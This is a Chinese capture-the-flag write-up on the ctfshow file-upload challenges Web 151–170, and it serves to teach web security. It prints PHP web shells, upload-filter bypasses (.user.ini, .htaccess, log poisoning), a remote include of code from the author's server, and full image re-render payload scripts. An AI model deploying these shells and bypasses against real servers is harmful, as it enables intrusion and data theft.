Web 151
考点:后端无验证,前端校验
![](https://img-blog.csdnimg.cn/3fe567fa768e47f09d8ffd66a370bcf2.png)
查看源码可以发现只能上传png
图片
修改为php
写一个php文件上传一句话木马
![](https://img-blog.csdnimg.cn/6061e9c5e9584d8c98aba6222a7ad5bd.png)
可以发现已经成功上传
![在这里插入图片描述](https://img-blog.csdnimg.cn/358db643e2964614a158a81f25a1a033.png)
![](https://img-blog.csdnimg.cn/bc25910726084c38b413e8c3c786016e.png)
查看上级目录发现可疑文件
![](https://img-blog.csdnimg.cn/b960ea95a9454233a5d53daf9c374a78.png)
查看flag.php文件内容得出flag
![](https://img-blog.csdnimg.cn/8f9b67174823468db1a29c33932baf01.png)
![](https://img-blog.csdnimg.cn/234673c99bc54f429ffd19edee8c2f89.png)
得到flag
Web 152
![](https://img-blog.csdnimg.cn/5975ed99a8f4421a80f71c4b4d18dda4.png)
考点:绕过前端校验
解题思路:
经过一系列的方法测试上题的解题方法并不适用于本题。直接改前端,后端会校验,文件不合格。那就抓包一下。
![](https://img-blog.csdnimg.cn/0e76a93dae4543c0851fca3cc02ce6f3.png)
将Content-Type
内容修改成image/png
,重发,发现成功上传
![](https://img-blog.csdnimg.cn/abb616ecf7554c9a9d050bd34c69c06b.png)
剩下的步骤与151相同查看上级目录,发现flag.php,查看flag.php内容得到flag
![](https://img-blog.csdnimg.cn/762e9d6b7d1c4a978c0dc8be35054cb0.png)
![](https://img-blog.csdnimg.cn/feddf87948684dfda8d38811b91ff1f5.png)
Web 153
![](https://img-blog.csdnimg.cn/1276a387278142e08c528830f7eea6ba.png)
考点:文件后缀名,黑名单
利用上传user.ini进行文件上传绕过
解题过程:
上传一个含木马的图片
![](https://img-blog.csdnimg.cn/df4394c1f66048c1b89026950279e2d4.png)
auto_append_file=“xxx”
xxx为我们上传的文件名
。
这样就在每个php文件
上包含了我们的木马文件。
![](https://img-blog.csdnimg.cn/464adde9b9a1404d98eaa5887a311f5a.png)
查看/upload目录下是否上传成功,木马上传成功
![](https://img-blog.csdnimg.cn/3ce411a7fcb741049bb4b49543ee4e7c.png)
![](https://img-blog.csdnimg.cn/b2a9ae6d91184800a05b9601819ef590.png)
得到flag
Web 154-155
![](https://img-blog.csdnimg.cn/039dd590773d4660a5c5254d766f0762.png)
考点:文件内容过滤,过滤关键字是php
上传一个图片木马,发现上传不了,经过一系列的尝试发现是对文件内容作了些过滤,过滤了php,所以采用简短的语句进行绕过
![](https://img-blog.csdnimg.cn/edef58980fc446bb8471faf7763fd33c.png)
这一步和上题相似
发现已经上传成功
![](https://img-blog.csdnimg.cn/74061ca8b5624ebfb14f0e5196326b53.png)
得到flag
![](https://img-blog.csdnimg.cn/2842395df92446f2b97ca6ff5b7aa986.png)
![](https://img-blog.csdnimg.cn/52a6a9f86f104e01bb60d62e1d4ad5a3.png)
Web 156-158
![](https://img-blog.csdnimg.cn/0a8f869d6bed4777a9af175b86431624.png)
在前面的基础上过滤了[]
那我们直接用{}
来代替
<?=eval($_POST{1});?>
或者那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置
<?=system('tac ../f*')?>
![](https://img-blog.csdnimg.cn/6ee7507092d44e24b07869168fb09e03.png)
![](https://img-blog.csdnimg.cn/013fe435c09b4debbf5cf35e26ea3d7b.png)
![](https://img-blog.csdnimg.cn/b7fba977516340678ead168f6bd22094.png)
Web159
过滤了括号,那就用反引号就可以啦
<?=`tac ../f*`?>
Web 160
考点:过滤了php,执行函数,反引号等
解题思路:
日志包含
过滤关键字是log
所以用拼接绕过
上传完.user.ini
和图片后
访问网站然后修改ua
头信息
![](https://img-blog.csdnimg.cn/e28bd5eaadff4a0eb6198208669ecb61.png)
![](https://img-blog.csdnimg.cn/13d61157d8ce4affbfd8b0d758610a7e.png)
![](https://img-blog.csdnimg.cn/1cdb640446c343f296917b7734bee3d2.png)
![](https://img-blog.csdnimg.cn/aa1d40f7c1884f33a78aaa417980e750.png)
web161
上传ini文件时加上GIF89A
在160的基础上增加图片头即可,即 GIF89A
![](https://img-blog.csdnimg.cn/85186c9388d9454d9be79b1d2ff8ef89.png)
然后用日志包含
<?include"/var/l"."og/nginx/access.lo"."g"?>
![](https://img-blog.csdnimg.cn/c311a6f360984fcaba171ad7c4e0625b.png)
web162
过滤了.
,所以不能利用日志包含了,先正常上传.user.ini
![](https://img-blog.csdnimg.cn/61790a496a48489f9da347820b757be9.png)
远程文件包含 ![](https://img-blog.csdnimg.cn/13e6704006bb43458cf8154d28519952.png)
因为不能有.所以将IP转换为十进制,我的默认路由就是一句话木马
![](https://img-blog.csdnimg.cn/a3eba78e4ad04ee4ac027a10442680a2.png)
如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般包含.txt的文件
<?=include"http://3024726958"?>
![](https://img-blog.csdnimg.cn/1b0db246c3a949ea9c072d9f92eb784d.png)
web163
同上用远程文件包含
GIF89a?
auto_append_file=http://6024326456
![](https://img-blog.csdnimg.cn/9c445e52685d4307a365a3127126619f.png)
web164
考点: png二次渲染
利用下方代码进行png二次渲染绕过
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); #保存在本地的图片马
?>
木马内容
<?$_GET[0]($_POST[1]);?>
imagepng($img,'1.png');
要修改的图片的路径,1.png是使用的文件,可以不存在
会在目录下自动创建一个1.png
图片
图片脚本内容:
$_GET[0]($_POST[1]);
使用方法:
例子:查看图片,get传入0=system
;post传入tac flag.php
注:
运行上面的代码需要有php的gd库
下面的代码可以检测是否有gd库的存在
<?php
if(extension_loaded('gd')) {
echo '可以使用gd
';
foreach(gd_info() as $cate=>$value)
echo "$cate: $value
";
}else
echo '没有安装gd扩展';
?>
如没有
把你PHP目录下的ext文件夹里的php_gd.dll复制到系统目录下(C:\Windows\System32),然后修改你的php.ini文件,找到以下位置
;extension=php_gd.dll
把前面的;去掉
如php.ini中没有extension=php_gd.dll,自行添加即可
将生成的图片上传,bp抓包
![](https://img-blog.csdnimg.cn/70035da8d34548d9ab6e999838a02e69.png)
web165
参考大佬解法
运用以下脚本进行jpg二次渲染
绕过
<?php
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip)
{
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
先上传一张jpg图片然后下载到本地重命名为2.jpg,再用jpg脚本生成payload_2.jpg
在这里插入图片描述
![](https://img-blog.csdnimg.cn/1e3c5aa3e75e46ff851e61d0b7fc44ed.png)
a为文件名
php jpg二次渲染.php a.jpg
在上传payload_2.jpg,抓包
![](https://img-blog.csdnimg.cn/1cb491efc2554c50a7a30c7494016c42.png)
注:
jpg脚本需在linux环境下运行,我的系统为ubuntu
安装php
sudo apt-get install php
发现报错,需要重新寻找更新源
![](https://img-blog.csdnimg.cn/ff3a02b8743b477786b942b4eb29c6be.png)
解决方法如下:
sudo vim sources.list
deb http://mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse
sudo apt-get update
sudo apt-get install php
jpg脚本需要php-gd库,下面为下载流程
sudo apt-cache search php-gd(查询需要的php-gd版本)
sudo apt-get install php7.4-gd
sudo php -m(查看gd是否安装成功)
web166
前端要求上传zip格式,我们可以直接包含一句话
修改Content-Type为application/x-zip-compressed
![](https://img-blog.csdnimg.cn/a664dbea1e5c45a79c5057add8c13867.png)
web167
题目提示httpd 利用.htaccess
进行绕过
![](https://img-blog.csdnimg.cn/a50ad724a49d438a9ae4cffb38bed114.png)
AddType application/x-httpd-php .png //将.png后缀的文件解析 成php
接着上传图片包含一句话
![](https://img-blog.csdnimg.cn/52b8916cac834dc9960b7c8180b2253a.png)
蚁剑连接得flag。
web168
基础免杀
上传png抓包,修改文件格式为php,在文件后面执行命令
![](https://img-blog.csdnimg.cn/9986183118214679aa814e47f9296737.png)
发现flag在上层目录里,直接rce
![](https://img-blog.csdnimg.cn/98c0a7de15924125bf87e1c62a0e2310.png)
web169
考点:免杀,主要是过滤了php, <>等
创建index.php
文件,因为日志
文件内容将会在index.php中显现
![在这里插入图片描述](https://img-blog.csdnimg.cn/d8605e4a6c2f445ca909e3d60e20201a.png)
在UA
中加入一句话木马
![](https://img-blog.csdnimg.cn/1845c6c464aa461981f9a702ce484323.png)
![](https://img-blog.csdnimg.cn/1c345f30766e49a48b3d5bb5e06a8edf.png)
phpinfo()
可作为瞄点
![](https://img-blog.csdnimg.cn/b41f7512311b41d08e8231d9a1e24952.png)
![](https://img-blog.csdnimg.cn/4c0475abcb1d4b78a5b71602ae0658c1.png)
得到flag
web170
先上传一个zip,然后抓包,改Content-Type
为image/png
,可以传php等格式,但是发现文件内容过滤了 <> php $
发现可以上传 .user.ini
文件
GIF89A
auto_append_file="/var/log/nginx/access.log"
![](https://img-blog.csdnimg.cn/7cafcbf26c93429da3b45f25a16d5488.png)
UA添加小马
<?php @eval($_POST['shell']);?>
![](https://img-blog.csdnimg.cn/ca6516ac845846229f50b05c458115e4.png)
蚁剑相连
![](https://img-blog.csdnimg.cn/0456650475114679b77e41b7682ff90f.png)
![](https://img-blog.csdnimg.cn/35a37105b82643078fb3415f3dceb962.png)
![](https://img-blog.csdnimg.cn/e45ff77d8305453e92cbb6453d973545.png)
得到flag